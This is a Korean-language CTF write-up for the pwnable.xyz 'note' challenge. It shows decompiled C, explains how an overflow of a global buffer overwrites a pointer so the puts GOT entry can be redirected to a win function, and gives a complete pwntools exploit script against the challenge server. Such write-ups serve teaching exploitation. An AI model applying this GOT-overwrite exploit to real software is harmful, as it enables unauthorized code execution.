[pwnable.xyz]note

메인은 print_menu해주고 0번은 종료 1번은 edit_note() 2번은 edit_desc() 해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup();
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_int32();
        if ( v3 != 1 )
          break;
        edit_note();
      }
      if ( v3 != 2 )
        break;
      edit_desc();
    }
    if ( !v3 )
      break;
    puts("Invalid");
  }
  return 0;
}

edit_note는 원하는 사이즈만큼 받아서 전역변수 s에 값을 넣어줄 수 있다.

void edit_note()
{
  int size; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ");
  size = read_int32();
  buf = malloc(size);
  printf("note: ");
  read(0, buf, size);
  strncpy(s, buf, size);
  free(buf);
}

edit_desc는 전역변수 buf에 입력을 받는다.

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

edit_note 에서 전역변수 s에 값을 넣을 때 buf 영역을 덮을 수 있다. 여기서 buf 영역을 어떤 함수의 got로 덮고 edit_desc 에서 win 함수 주소 넣어주면 해당 함수를 실행할 때 win 함수가 호출될 것이다.

exploit.py

from pwn import *

def edit_note(length,content):
	sla('>','1')
	sla('?',str(length))
	sa(':',content)

def edit_desc(content):
	sla('>','2')
	sa(':',content)

if __name__ == '__main__':
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30016)
	sla = lambda x,y : p.sendlineafter(x,y)
	sa = lambda x,y : p.sendafter(x,y)

	edit_note(50,"A"*0x20 + p64(e.got['puts']))
	edit_desc(p64(e.symbols['win']))
	p.sendlineafter('>','3')
	p.interactive()